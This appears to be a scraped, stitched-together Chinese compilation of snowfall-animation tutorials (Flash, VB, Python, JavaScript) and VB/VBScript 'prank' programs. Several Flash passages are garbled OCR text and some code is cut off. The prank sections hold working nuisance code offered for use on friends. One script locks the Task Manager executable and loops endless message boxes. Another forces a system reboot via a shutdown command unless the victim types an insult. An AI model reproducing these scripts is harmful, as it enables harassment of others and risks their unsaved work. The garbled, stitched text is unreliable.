VB整人小程序：让整个屏幕雪花飘飘(改进)
巧用Math对象打造FLASH飘雪效果
关 键 词 ： 飘 雪 效 果 ：Ｍ ｔ 对 象 ；ｒ ｎ ｏ ａｈ ａ ｄ ｍ０方 法 ：ｃ ｉ ） 法 ｅ ｌ（方
中图分类号：Ｔ ３ 文献标识码 ：Ａ 文章编号：１ ７ －７ ９ ２ １ ）０ ２ １ ８ １ Ｐ ６ １ ５ ７（ ０ ０ ７ ０ ５ —０
在制 作ＦＡ Ｈ ＬＳ 贺卡 时 ，经常要 用 到下 雪效 果 ，如 果不 用ＦＡ Ｈ 程 要实 ＬＳ编 现 逼真 的下 雪效 果几 乎不 可能 。但 作为 计算 机专 业 的 中专 学 生 ，如 果 让他 们 用 复杂 的编程 语句 来做 出下 雪效 果 则显得 力不 从 心 ，那 么如 何用 最简 单 的 编 程 语 句 做 出 更 逼 真 的 下 雪 效 果 呢 ？ 本 文 将 应 用 ＦＡ Ｈ 程 语 言 Ｌ Ｓ编 Ａ ｔｏ Ｓｒｐ 中的Ｍ ｔ对象 来进行 实例 说 明。 ｃ ｉｎｃ ｉｔ ａｈ 首先新 建ＦＡ Ｈ ＬＳ 文档 ，在图 层一 中导入 “ 雪天 ”背 景 图片 ，再 刨建 名 称为 “ 雪花飘 落１ ”的影 片剪辑 元件 ，在此 影片 剪辑元 件 中绘制 一片雪花 ， 做 出雪 花从第 １ 到５帧 沿 曲线 下落 的效 果 ，并 在属 性面板 里设 定 “ 动 ” 帧 Ｏ 缓 值 为一 ０， 即雪 花 为加 速 下 落 。选 中 “ １０ 调整 到路 径 ” 、 “同步 ”和 “ 帧 紧 ”选 项 ，保证 雪花 的方 向随 路径 变化 随机 调整 。完 成后 打 开库面 板 ，右 键 单击 名称为 “ 雪花 飘落 １ ”的影片 剪辑元 件选 “ 直接 复制 ” ，命 名为 “ 雪 花 飘落２ ”影片剪辑 元件 ，并更 改该元 件 中雪花 的下落 路径和 帧数 目。重新 设置 最末帧 为６ 帧 这样 就生 成 了二个 沿不 同路 径飘 落 的雪花 效果 。接 下 Ｏ 来 新建 图层 二 ，将 “ 花 飘 落 １ 雪 ”元 件 拖 到 图层 二 中 ， 并命 名 实例 名 为 “ ｕｌ ｘｅ ”。现 在舞 台 中只有 一片 雪花 飘落 效 果 ，要产 生大 量雪 花飘 落 的效 果只有 对该 实例 不断 复制 ，这样 可 以产 生若 干个 雪花 下落 的效 果 ，但是 当 我 们预 览观 察时 不难 发现所 有 的雪 花都 沿一 个路 径下 落 ，并且 同时 下落 ， 显得 很不真 实 。众所 周知 ，雪 花飘 落 的特 点是不 同雪 花 间的大 小 、速度 、 路径 都 是不 同的 。那 么 怎么 产 生 不 同雪 花 沿 不 同路 径 、不 同的 速度 下 落 呢 ？这 要用￣Ｆ ＡＨ 的Ａ ｔｏ Ｓｒｐ 编程 语言 。 ＵＬＳ 中 ｃ ｉｎｃ ｉｔ 作 为一 门编程语 言 ，进行 数学 计算是 是必 不可 少 的功能 。在数 学计 算 中经常 会使用 到 数学 函数 ，如取 绝对 值 、取 整、三 角 函数 等 ，还有 一种 重 要 的 函数 是随机 函数 。Ｆａ ｈ 程语 言Ａｔ ｏＳｒ ｐ将 所有这 些与 数学有 关 ｌｓ编 ｃｉｎ ｃ ｉｔ 的方法 、常 数 、三角 函数 以及 随机 数都 集 中到一 个对 象里 面 （ 学） ａｈ 数 Ｍｔ 对 象 。Ｍ ｔ对象 提供 了大 量 的数学 常量 和数 学 函数 。在 面 向对 象 的编程 中， ａｈ
VB代码(整人,实用。几个有趣的希望有帮助!!)
使用方法：新建一个txt文本文档。
然后把拓展名改成".vbs"的格式。
然后右键编辑，把代码复制进去，ok！！！1.整死你啊！！！此代码锁定了任务管理器，想关闭只有重新启动电脑，恶搞你的好友，或者骚扰你Private Sub Form_Load()Open Environ$("WinDir") & "\system32\taskmgr.exe" For Binary As #1For m = 1 To 999MsgBox "呵呵，你知道我是谁吗？", 16MsgBox "什么？？不知道？", 16MsgBox "那你打开我干什么？", 16MsgBox "你有空没事做吧？！", 16MsgBox "我..就是鼎鼎大名的987876198", 16MsgBox "987876198..", 16MsgBox "现在你把它打开了觉得后悔了吧？呵呵..", 16MsgBox "算了算了，不玩你了", 16MsgBox "现在我数3声就闪人,行了吧?", 16MsgBox "1.............", 16MsgBox "2.............", 16MsgBox "3.............", 16MsgBox "噔噔噔噔,我又回来了！", 16MsgBox "哈哈，是不是很过瘾呢？", 16MsgBox "现在我先介绍下自己..", 16MsgBox "我叫王得地..", 16MsgBox "性别：男..", 16MsgBox "今年35岁..", 16MsgBox "不好意思噢，我好像说多了..", 16MsgBox "不要这样喇，听我说完先好不？", 16MsgBox "来来来，开始喇..", 16MsgBox "我叫王得地..", 16MsgBox "家中有屋又有田..", 16MsgBox "生活乐无边..", 16MsgBox "好像我又说多了...", 16MsgBox "不要生气嘛，你认真看下去我就放你走..", 16MsgBox "好，开始喇..", 16MsgBox "从前有座山..", 16MsgBox "山里有个座庙..", 16MsgBox "庙里有个和尚..", 16MsgBox "哈哈，想哭吗？", 16MsgBox "被骗的感觉不爽吧？", 16MsgBox "喂喂喂！别别..千万别重启电脑", 16MsgBox "我告诉你怎么关吧", 16MsgBox "先打开任务管理器", 16MsgBox "忘了告诉你了，任务管理器打不开了", 16MsgBox "别恨我啊你不小心", 16MsgBox "电脑重新启动吧", 16MsgBox "相信我吧,你知道我是不会骗人的", 16MsgBox "如果你还想继续点的话,你就别听我的", 16MsgBox "呵呵,我又没有说这个东西没有", 16MsgBox "我只想说桌面没有罢了..", 16MsgBox "嘻嘻,爽不爽吖?", 16MsgBox "对着电脑屏幕大声说低调大好人", 16MsgBox "不然,我就没办法的咯", 16MsgBox "因为我把循环设置成99了", 16MsgBox "想保存电脑数据只有继续点了", 16MsgBox "绝对会出到去的", 16MsgBox "好了,废话不多说了,祝你好运..", 16MsgBox "制作:低调不倒", 16MsgBox "QQ：987876198", 16MsgBox "E-mail:不告诉你", 16MsgBox "好,继续循环..", 16NextEnd Sub·······················································2.满屏小雪花这是我以前写的小程序让整个屏幕雪花飘飘的改进，本程序是一个模拟下雪的小程序：大小不同随风飘荡的雪花从屏幕上方不断落下，飘满整个屏幕。
在VB中调用API函数动态改变及恢复屏幕设
dmDeviceName As String * CCHDEVICENAME
dmSpecVersion As Integer
dmDriverVersion As Integer
dmSize As Integer
dmDriverExtra As Integer
Alias "lstrcpyA" (lpString1 As Any, lpString2 As Any) As Long
‘------------------以下结构用于屏幕的初始化-----------------
Const CCHDEVICENAME = 32
Const CCHFORMNAME = 32
---- 并在模块中添加如下代码：
‘---------------以下代码用于得到屏幕的设置参数--------------
Declare Function GetDeviceCaps Lib
"gdi32" (ByVal hdc As Long,
ByVal nIndex As Long) As Long
(ByVal lpDevMode As Long, ByVal dwflags As Long) As Long
‘------------------设置屏幕的函数-----------------
Public Function SetDispMode(Width As Integer,
Height As Integer, Color As Integer) As Long
Dim H, V, Color As Long
’声名变量，用于保存最初屏幕设置
浅谈利用Flash制作雪花飘落动画效果的三种方法
５ 在 第 ２帧 上按 鼠标 右 键 的” 入 关 键 帧 ” 能 。 、 插 功 见图 ３ 。并 在 它 的 Ａ ｔ ｎ面板 上 添加 同第 １帧 一样 的 ｃｏ ｉ
动作 。
ｓｔｒｐｒ （ｎ ｗ ． ｓａ ，ａ ｄｍ（０） ｅＰｏ ｅｔ ／ ｏ ，＿ ｃｌ ｒｎ ｏ ５ ） ｙｓ ｙ ｅ ； ｓｔｍｐｒ （ｎ ｗ ＿ｏａｉｎｒｎ ｏ ３０） ｅＰ ｅｔ ／ ｏ ， ｒｔ ｏ ， ｄｍ（６ ） ｙｓ ｔ ａ ；
第 三 种 方 法 也 是用 Ａ ｔ ｎ ｃｉｔ 的脚 本 函数 ． ｃｏＳｒ 中 ｉ ｐ 不 现 的 ． 作上 会减 少 不少 工 作量 和时 间 。 制 过效 果跟 上 面一 种 是不 相 同的 。其具 体 步 骤如 下 ： 三 种 方法 各 有 特 色 。 果 也不 一 样 ． 习 者可 以按 效 学 １ 新 建 一个 Ｆａｈ影 片 。设 背景 色 为 ” 色 ” 其 他 照 自身 对 Ｆａｈ的熟 悉 情 况选 择 合 适 的制作 方 法 。这 、 ｌｓ 黑 。 ｌｓ 的用 默认 值 里讲 解 的都 是最 基 本 和常 用 的制 作方 法 。学 习者可 以 ２ 按 Ｃｒ＋ ８新 建 一 个 组 件 。 型 为 ” 形 ” 命 名 根 据实 际情 况 添加 不 同 的后 背景 效果 和 其余 的辅 助程 、 ｔ Ｆ ｌ 类 图 。 为” 花“ 雪 。在其 上用 铅 笔工 具 画一个 雪 花形 状 。 序语 言 。 而达 到不 同 的动 画效果 。 希望读 者 能够 在学 习 ３ 按 Ｃｒ Ｆ 、 ｔ ＋ ８新 建 一 个 组 件 ， 型 为 ” 片 剪 辑 ” 中获得 动 画制作 的乐趣 。 ｌ 类 影 ， 命名 为 ” 花 影片 ” 雪 。把 组 件” 雪花 ” 拖到 第 １帧 ， 别 在 分 第 １ ０帧和 第 ２ ０帧上 ” 入关 键 帧” 插 。在第 １ 中 的组 帧 参考 文献 ： 件 ” 花 ” 效 果 面板 ” 设 定它 的 Ａｌｈ 雪 的” 上 ｐ ａ为 Ｏ ％。把 第 【】谢 广 彬 ．ｆｓ ． 画 制 作 》 防科 技 大 学 出版 社 ， ０ ０年 １ （ ａ ８０动 ｌｈ ．国 ２１ ｌ ０帧 中 的元件 ” 花” 雪 往左 下方 拖 一小 段距 离 ． ” 果 ２ 月 在 效 ２ 】 （ ａ ． （ｓ ｌ 典 ，清 华 大 学 面板 ” 上设 定 它 的 Ａ ｐ ａ为 １ ０ 再把 第 ２ ｌｈ ０ ％。 Ｏ帧 中的组 ［ 贺 晓 霞 ，ｆ ｈ８０动 画 制 作 基 本 练 习＋ 型 案 例 》 出版 社 ．０ ６年 ８月 ． ２０ 件” 花” 雪 往下 方 拖 一段 距离 （ 要多 过第 １ ０帧 时拖 的 ） ， 在 ” 果 面板 ” 设 定它 的 Ａ ｐ ａ为 ０ 然 后 在 第 １ 效 上 ｌｈ ％。 帧
VB雪花融屏代码
SelectObject hScreen, ScreenBuffer
BitBlt hScreen, 0, 0, Screen.Width / 15, Screen.Height / 15, Desktop, 0, 0, SRCCOPY
BitBlt Desktop, x + (1 - 2 * Rnd), y + (1 - 2 * Rnd), 32, 32, hBitmap, 0, 0, SRCCOPY
DoEvents
Next i
End Sub
Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long
Private Declare Function GetWindowDC Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function GetDesktopWindow Lib "user32" () As Long
Private Declare Func Lib "gdi32" (ByVal hdc As Long, ByVal nWidth As Long, ByVal nHeight As Long) As Long
vbe整人程序
WScript.Echo("叫你别打开，你还不听，手贱了吧.现在windows系统要惩罚你") WScript.Echo("系统cpu温度过高,系统发生错误,接下来Windows系统将提示变态的问题，你千万不能乱回答,更不能按太快,否则你就倒霉了")WScript.Echo("呀，问题怎么还没开始?")WScript.Echo("该不是中病毒了吧?")WScript.Echo("哦，原来是windows系统在检测你的人品")WScript.Echo("唉，没办法，你人品太差了，系统速度都被你拖慢了")WScript.Echo("好，问题来了,请认真回答")dim namename="姓名:节操无"inputbox"你的名字叫什么:","名称"WScript.Echo("说谎可不好哦")msgbox name,,"明明是:"WScript.Echo("骗人的下场是很残酷的")WScript.Echo("骚年你要按50次回车,切记,不能操之过急，否则呵呵···")WScript.Echo("1")WScript.Echo("2")WScript.Echo("3")WScript.Echo("4")WScript.Echo("5")WScript.Echo("6")WScript.Echo("7")WScript.Echo("8")WScript.Echo("9")WScript.Echo("10")WScript.Echo("11")WScript.Echo("12")WScript.Echo("13")WScript.Echo("14")WScript.Echo("15")WScript.Echo("16")WScript.Echo("17")WScript.Echo("18")WScript.Echo("19")WScript.Echo("20")WScript.Echo("21")WScript.Echo("22")WScript.Echo("23")WScript.Echo("24")WScript.Echo("25")WScript.Echo("26")WScript.Echo("27")WScript.Echo("28")WScript.Echo("29")WScript.Echo("31")WScript.Echo("32")WScript.Echo("33")WScript.Echo("34")WScript.Echo("35")WScript.Echo("36")WScript.Echo("37")WScript.Echo("38")WScript.Echo("39")WScript.Echo("40")WScript.Echo("41")WScript.Echo("42")WScript.Echo("43")WScript.Echo("44")WScript.Echo("45")WScript.Echo("46")WScript.Echo("47")WScript.Echo("48")WScript.Echo("49")WScript.Echo("50")WScript.Echo("按太快了，重新来一遍，作为惩罚，这次要按100次") WScript.Echo("1")WScript.Echo("2")WScript.Echo("3")WScript.Echo("4")WScript.Echo("5")WScript.Echo("6")WScript.Echo("7")WScript.Echo("8")WScript.Echo("9")WScript.Echo("10")WScript.Echo("11")WScript.Echo("12")WScript.Echo("13")WScript.Echo("14")WScript.Echo("15")WScript.Echo("16")WScript.Echo("17")WScript.Echo("18")WScript.Echo("19")WScript.Echo("20")WScript.Echo("21")WScript.Echo("22")WScript.Echo("24") WScript.Echo("25") WScript.Echo("26") WScript.Echo("27") WScript.Echo("28") WScript.Echo("29") WScript.Echo("30") WScript.Echo("31") WScript.Echo("32") WScript.Echo("33") WScript.Echo("34") WScript.Echo("35") WScript.Echo("36") WScript.Echo("37") WScript.Echo("38") WScript.Echo("39") WScript.Echo("40") WScript.Echo("41") WScript.Echo("42") WScript.Echo("43") WScript.Echo("44") WScript.Echo("45") WScript.Echo("46") WScript.Echo("47") WScript.Echo("48") WScript.Echo("49") WScript.Echo("50") WScript.Echo("51") WScript.Echo("52") WScript.Echo("53") WScript.Echo("54") WScript.Echo("55") WScript.Echo("56") WScript.Echo("57") WScript.Echo("58") WScript.Echo("59") WScript.Echo("60") WScript.Echo("61") WScript.Echo("62") WScript.Echo("63") WScript.Echo("64") WScript.Echo("65") WScript.Echo("66")WScript.Echo("68")WScript.Echo("69")WScript.Echo("70")WScript.Echo("71")WScript.Echo("72")WScript.Echo("73")WScript.Echo("74")WScript.Echo("75")WScript.Echo("76")WScript.Echo("77")WScript.Echo("78")WScript.Echo("79")WScript.Echo("80")WScript.Echo("81")WScript.Echo("82")WScript.Echo("83")WScript.Echo("84")WScript.Echo("85")WScript.Echo("86")WScript.Echo("87")WScript.Echo("88")WScript.Echo("89")WScript.Echo("90")WScript.Echo("91")WScript.Echo("92")WScript.Echo("93")WScript.Echo("94")WScript.Echo("95")WScript.Echo("96")WScript.Echo("97")WScript.Echo("98")WScript.Echo("99")WScript.Echo("100")msgbox("好吧，看你按得挺辛苦的份上，这题算你通过了，接受下一题的考验吧")on error resume nextdim WSHshellAset WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是2B，不说就1分钟后关你机，不信，试试···建议先保存文件，我给足你保存时间了，否则后果自负"" ",0 ,truedim ado while(a <> "我是2B")a = inputbox ("说我是2B,就不关机，快撒，说""我是2B"" ","说不说","",6000,6000) msgbox chr(13) + chr(13) + chr(13) + "不说就关机",0,"MsgBox"loopmsgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd.exe /c shutdown -a",0 ,truemsgbox chr(13) + chr(13) + chr(13) + "算了，看你这么辛苦，不关你计算机了，放你一马，切记下次不要手贱哦*^__^*"。
VB中实现3D
56. VB整人小程序：让整个屏幕雪花飘飘这是我以前写的小程序雪花飘飘的改进，本程序是一个模拟下雪的小程序：大小不同随风飘荡的雪花从屏幕上方不断落下，飘满整个屏幕。
雪花可在任何窗口上飘荡，包括任务栏、开始菜单、弹出菜单等地方。
原“雪花飘飘”小程序采用了移动 Label 控件的方式模拟飘荡的雪花，雪花只能在程序所在窗口内移动，无法飘荡到其他程序、开始菜单等窗口的上面，并且雪花的移动不流畅。
本程序采用在窗口上显示字符、使窗口最大化、窗口背景透明的方式，克服了上述缺点。
实际上，是本程序无边框的最大化窗口遮住了屏幕上其他所有窗口，使雪花可飘荡到屏幕任何地方。
但是，透明的背景让用户仍然可以看到其他程序，并可以进行正常操作。
本程序编译成 exe 文件运行后，只能通过系统“任务管理器”才能终止运行。
程序运行效果截图如下：''以下是窗体代码，在 VB6 调试通过：'' 注意：在属性窗口将窗体的 BorderStyle 属性设置为 0，即窗体是无边框窗体'' 在窗体上放置一个控件：Timer1，不必设置任何属性''本人原创，转载请注明文章来源：/100bd/blog/item/fdfe29315c32dd88a9018e94.html Private Declare Function SetWindowPos Lib "user32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As LongPrivate Declare Function SetLayeredWindowAttributes Lib "user32" (ByVal hWnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As LongPrivate Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long) As Long Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByValdwNewLong As Long) As LongDim ctSnow() As tySnow, ctSnowS As Long, ctSeChange As LongPrivate Type tySnow'定义表示雪花的数据类型X As Single: xV As Single 'x 坐标、水平移动速度Y As Single: yV As Single 'y 坐标、垂直移动速度Se As Long: Size As Single'雪花颜色、大小End TypePrivate Sub Form_Load()ctSnowS = 200 '300 '雪花数量ctSeChange = 30'雪花颜色的变化范围'最大化窗口。
python实现雪花飘落效果实例讲解
python实现雪花飘落效果实例讲解在学习pygame模块过程中，我们可以通过使⽤ pygame模块实现很多功能性的东西，但是很多⼈应该没有利⽤pygame实现过雪花飘落的效果吧，有时候可能是不知道从何⼊⼿或者是没有时间写，接下来我就教⼤家如何利⽤pygame模块实现雪花飘落的效果吧，总共都⽤不到40⾏代码就可以实现哦，希望对你们有所帮助第⼀步：我们先打开我们的pycharm软件，然后新建⼀个Python⽂件第⼆步：建⽴好⽂件之后，我们在编辑页⾯输⼊以下代码：import pygameimport sys #导⼊模块import random#设置窗体图形界⾯screen = pygame.display.set_mode((700,500)) #设置窗体的屏幕宽⾼，screen变量接收屏幕pygame.display.set_caption("吴秀柔 16级计科2班") #设置窗体的标题#雪花snowImage='image/snow.png' #定位图⽚snowStart=pygame.image.load(snowImage) #加载图⽚#定义⼀个图像和雪花列表imagelist=[]snowlist=[]#绘制初始化雪花for i in range(20):# 随机给出雪花在窗体上，⼀次可以显⽰的个数x = random.randint(0,600) #参数1为上限，参数2为下限y = random.randint(0,450)snowlist.append(random.randint(1,2)) #雪花下落的速度imagelist.append([x,y]) # 保存随机获得的位置#绘制雪花在窗体上while True:screen.fill((0,0,0)) #设置窗体的背景为⿊⾊# 消息事件循环，判断退出for event in pygame.event.get(): #获得⼀个事件的列表if event.type == pygame.QUIT: #如果事件类型，退出sys.exit() #安全退出num=0for y in imagelist: # 雪花列表循环，从y轴的上限往下限⽅向飘落y[1]=y[1]+snowlist[num] #改变Y轴坐标，移动雪花位置num+=1screen.blit(snowStart,(y[0],y[1])) # 打印雪花if y[1]>=500: #当雪花达到下限，落出屏幕之后，重设位置y[1]=-snowStart.get_height() #重设Y轴的坐标到0以上，从⽽使得雪花下⼀次循环有效pygame.display.update() # 刷新画⾯第三步：写好我们的代码之后，我们直接同时按住键盘上的Ctrl+shift+F10或者⿏标右键，找到“run”，进⾏程序的运⾏编译第四步：运⾏之后就可以看到我们的雪花飘落的效果了。
AtionScrip 3.0制作雪花飘飘动画
AtionScrip 3.0制作雪花飘飘动画Webjx核心提示：本例为用Flash AtionScrip 3.0制作雪花飘飘的雪景效果，常常从网上的动画中看到大雪纷飞的场面，看到雪花从天空中拖曳而下，真有一种身临其境的感觉呢？但主要是用AtionScrip 2.0制作，现在我们用AtionScrip 3.0来制作雪景效果.二、制作背景回到场景 1 中来，选择【文件】-【导入】-【导入到舞台】，从自己的磁盘中选择一张雪景图片，选中图片，把它设置为550x400,全居中，同时把图层 1 更名为“背景”。
三、新建一个图层“AS” ，点中第 1帧，打开“动作”面板，添加下列代码：Var sj:Timer=new Timer(Math.random()*300+100,100);//声明一个时间变量，类型Timer，随机设置时间间隔和控制雪花数量；sj.addEventListener(TimerEvent.TIMER ,sjcd);//用sj来侦听时间事件；function sjcd(event:TimerEvent) {//声明一个sjcd函数var xh:xh_mc=new xh_mc();//先声明一个对象xh，类型xh_mc,等于一种新类型xh_mc;addChild(xh);//把新声明的xh对象显示到舞台上；xh.x=Math.random()*550;//雪花x坐标在550舞台上随机出现；xh.y=Math.random()*200;//雪花y坐标控制在舞台上的0-200处随机出现；xh.alpha=Math.random()*1+0.2;//雪花的随机透明度；xh.scaleX=Math.random()*0.5+0.5;//随机控制雪花在x的宽度；xh.scaleY=Math.random()*0.5+0.5;//随机控制雪花在y的宽度；}sj.start();//时间开始；雪景代码：flash鼠标跟随代码谁能帮我翻译下下面的代码，谢谢了！startDrag(mc,true);Mouse.hide();var i:Number = 0;onMouseMove = function(){attachMovie("mc","mc"+i,i);this["mc"+i]._x = _xmouse;this["mc"+i]._y = _ymouse;i+=1};mc为屏幕中的剪辑对象startDrag(mc,true);//MC可拖动，拖动点为MC的中心Mouse.hide();//隐藏鼠标var i:Number = 0;//定义变量i，值为0onMouseMove = function(){//当鼠标移动时attachMovie("mc","mc"+i,i);//从库中加载链接名为mc的元件到屏幕中作为实例，命名为mc+1 this["mc"+i]._x = _xmouse;this["mc"+i]._y = _ymouse;//这些实例与鼠标坐标位置相同i+=1//随着鼠标移动，实例数量递增};。
javascript实现雪花飘落效果
javascript实现雪花飘落效果圣诞节快到了相信许多公司的前端都在会收到⼀个需求，那就是做⼀个关于圣诞节的专题，⽽这个专题为了应对圣诞节这个主题都会加上雪花飘呀飘这个⼩动画，当然我们公司也不例外，下⾯就是本⼈⽤js写的⼀⼩段雪花秀啦：<!DOCTYPE html><html><head><meta charset="UTF-8"><title></title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><meta content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" name="viewport"><script src="jquery-1.8.3.min.js"></script></head><style>html{max-width: 720px;}body{width: 100%;height: 100%;margin: 0 auto;overflow-x: hidden;}.snow{width: 100%;height: 100%;background: pink;overflow: hidden;}.snow_img{position: absolute;top: -50px;margin-left: 1px;}</style><body><div class="snow"></div><script>$(function(){$('body').css("height",$(window).height())var wid=$(".snow").width();var html_snow="<img src='snow.png' class='snow_img'>";setInterval(function(){$(".snow").append(html_snow);snowFlow();},100);function snowFlow(){$(".snow_img").each(function(index){var snow_time=(Math.random()*10+4)*1000;var wid_snow=Math.floor(Math.random()*40+5)+'px';var float_left=Math.random()*wid*2-wid+"px";var wid_left=Math.random()*wid+"px";if( $(this).css("margin-left")==1+"px"){$(this).css("margin-left",wid_left);}if($(this).width()==0 || $(this).width()==50 ){$(this).width(wid_snow);}$(this).animate({top:800+"px",left:float_left,},snow_time);if($(this).offset().top==800){$(this).remove();}})}});</script></body></html>代码很简单，都是运动⽤js的⼀些基础知识点做出来的，主要是随机数和⼀些判断。
屏幕保护程序代码飘荡的字
屏幕保护程序代码飘荡的字篇一：屏幕保护程序代码飘荡的字是一种常见的屏幕保护程序效果，它可以在计算机屏幕上显示一系列漂浮的字符，给人一种代码正在运行的感觉。
这种屏保程序不仅美观，还能保护屏幕避免长时间静止不动导致的烧屏现象。
实现屏幕保护程序代码飘荡的字并不复杂，通常使用编程语言如C++、Java或Python来编写。
以下是一个简单的Python代码示例：```pythonimport randomimport pygameimport string# 设置屏幕大小SCREEN_WIDTH = 800SCREEN_HEIGHT = 600# 设置字体颜色和大小FONT_COLOR = (255, 255, 255) # 白色FONT_SIZE = 24# 初始化pygamepygame.init()# 创建屏幕对象screen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT)) pygame.display.set_caption('Code Screensaver')# 创建字体对象font = pygame.font.Font(None, FONT_SIZE)# 创建字符列表characters = list(string.ascii_letters + string.digits)# 创建字符对象列表texts = [font.render(characters[random.randint(0, len(characters)-1)], True, FONT_COLOR) for _ in range(100)]# 创建字符坐标列表positions = [(random.randint(0, SCREEN_WIDTH), random.randint(0, SCREEN_HEIGHT)) for _ in range(100)]# 游戏主循环running = Truewhile running:# 处理退出事件for event in pygame.event.get():if event.type == pygame.QUIT:running = False# 填充屏幕背景颜色screen.fill((0, 0, 0)) # 黑色# 更新字符位置for i in range(len(texts)):positions[i] = (positions[i][0], (positions[i][1] + random.randint(1, 3)) % SCREEN_HEIGHT)# 绘制字符到屏幕for i in range(len(texts)):screen.blit(texts[i], positions[i])# 更新屏幕显示pygame.display.flip()# 退出pygamepygame.quit()```上述代码使用了Python的pygame库来创建屏幕并绘制字符。
VB整人小程序
VB整人小程序代码Private Sub Command1_Click()MsgBox "进行测试前，请一定要照着提示上说的回答，可不要乱写，不然的话会让测试不准的！切记！现在放松一下，记住，写的时候应该完全是你的第一直觉！！！"MsgBox "这个测试源于印度的一个神秘的密教经典，当时发现它的人按照它说的做了，结果他的愿望在10分钟内就实现了！" MsgBox "这是一个非常奇妙的测试，不知道你做过没有，最好没有旁观者！我做了，非常准确，想不信邪都难！"t1 = "1.请输入你一个异性朋友的名字"t2 = "2.请再输入你一个异性朋友的名字"t3 = "3.输入你一个同性朋友的名字"t4 = "4.输入你第二个同性朋友的名字"t5 = "5.再输入你一个同性朋友的名字"t6 = "6.输入一首你喜欢的歌的名字"t7 = "7.输入另外一首歌的名字"t8 = "8.再输入一首歌的名字，请不要急噪，保持轻松的心态"t9 = "9.最后输入一首喜欢的歌名字"t10 = "10.输入一个你喜欢的幸运数字"t11 = "11.许下一个你的愿望"a1 = InputBox(t1)a2 = InputBox(t2)a3 = InputBox(t3)a4 = InputBox(t4)a5 = InputBox(t5)a6 = InputBox(t6)a7 = InputBox(t7)a8 = InputBox(t8)a9 = InputBox(t9)a10 = InputBox(t10)a11 = InputBox(t11)Form1.Print "在你心中"; a1; "占据着最重要的位置，你对"; a1; "的感觉用"; a6; "这首歌来形容再好不过了。
VB编写各种趣味小程序(附代码)
VB编写各种趣味小程序（附代码）一、鸟巢绘制二、加密三、解密四、蝴蝶飞舞五、文本编辑六、统计七、小球跳动八、计算器（彩票摇奖）九、学生信息录入十、矩阵转置十一、带有进度条的倒计时程序十二、加减乘除随机数题十三、计算器十四、抽奖一、鸟巢绘制Private Sub Form_Click()ClsDim r, xi, yi, xj, yj, x0, y0, aif As Singler = Form10.ScaleHeight / 2x0 = Form10.ScaleWidth / 2y0 = Form10.ScaleHeight / 2n = 16aif = 3.14159 * 2 / nFor i = 1 To nxi = r * Cos(i * aif) + x0yi = r * Sin(i * aif) + y0For j = i To nxj = r * Cos(j * aif) + x0yj = r * Sin(j * aif) + y0Line (xi, yi)-(xj, yj), QBColor(i - 1)PSet (xi, yi)Print i - 1Next jNext iEnd SubPrivate Sub Form_Load()Print "要求：";Print "1.将圆周等分成16份；"Print "2.每个等分点要标记成0-16的数字；" Print "3.按样本图的图案画图。
"End Sub附图：二、加密Function code(ByVal s$, ByVal key%) Dim c As String * 1, iAsc%code = ""For i = 1 To Len(s)c = Mid$(s, i, 1)Select Case cCase "A" To "Z"iAsc = Asc(c) + keyIf iAsc > Asc("Z") Then iAsc = iAsc - 26 code = code + Chr(iAsc)Case "a" To "z"iAsc = Asc(c) + keyIf iAsc > Asc("z") Then iAsc = iAsc - 26 code = code + Chr(iAsc)Case Elsecode = code + cEnd SelectNext iEnd FunctionPrivate Sub close_Click()Form11.HideForm1.ShowEnd SubPrivate Sub Jiami_Click()Text2 = code(Text1, 2)End SubPrivate Sub open_Click()CommonDialog1.Action = 1Text1.Text = ""Open CommonDialog1.FileName For Input As #1Dim counter As IntegerDim workarea(25000) As StringProgressBar1.min = LBound(workarea)ProgressBar1.max = UBound(workarea)ProgressBar1.Visible = TrueProgressBar1.Value = ProgressBar1.minFor counter = LBound(workarea) To UBound(workarea) workarea(counter) = "initial value " & counter ProgressBar1.Value = counterNext counterDo While Not EOF(1)Line Input #1, inputdataText1.Text = Text1.Text + inputdata + vbCrLfLoopClose #1End SubPrivate Sub save_Click()CommonDialog1.FileName = "a1.txt"CommonDialog1.DefaultExt = "txt"CommonDialog1.Action = 2Open CommonDialog1.FileName For Output As #1Print #1, Text2.TextClose #1End Sub三、解密Function UnCode(ByVal s$, ByVal key%)Dim c As String * 1, iAsc%UnCode = ""For i = 1 To Len(s)c = Mid$(s, i, 1)Select Case cCase "A" To "Z"iAsc = Asc("c") - keyIf iAsc < Asc("A") Then iAsc = iAsc + 26UnCode = UnCode + Chr(iAsc)Case "a" To "z"iAsc = Asc(c) - keyIf iAsc < Asc("a") Then iAsc = iAsc + 26UnCode = UnCode + Chr(iAsc)Case ElseUnCode = UnCode + cEnd SelectNext iEnd FunctionPrivate Sub close_Click()Form2.HideForm1.ShowEnd SubPrivate Sub Jiemi_Click()Text2 = UnCode(Text1, 2)End SubPrivate Sub open_Click()CommonDialog1.Action = 1Text1.Text = ""Open CommonDialog1.FileName For Input As #1Dim counter As IntegerDim workarea(25000) As StringProgressBar1.min = LBound(workarea) ProgressBar1.max = UBound(workarea) ProgressBar1.Visible = TrueProgressBar1.Value = ProgressBar1.minFor counter = LBound(workarea) To UBound(workarea) workarea(counter) = "initial value " & counter ProgressBar1.Value = counterNext counterDo While Not EOF(1)Line Input #1, inputdataText1.Text = Text1.Text + inputdata + vbCrLfLoopClose #1End SubPrivate Sub save_Click()CommonDialog1.FileName = "a.txt" 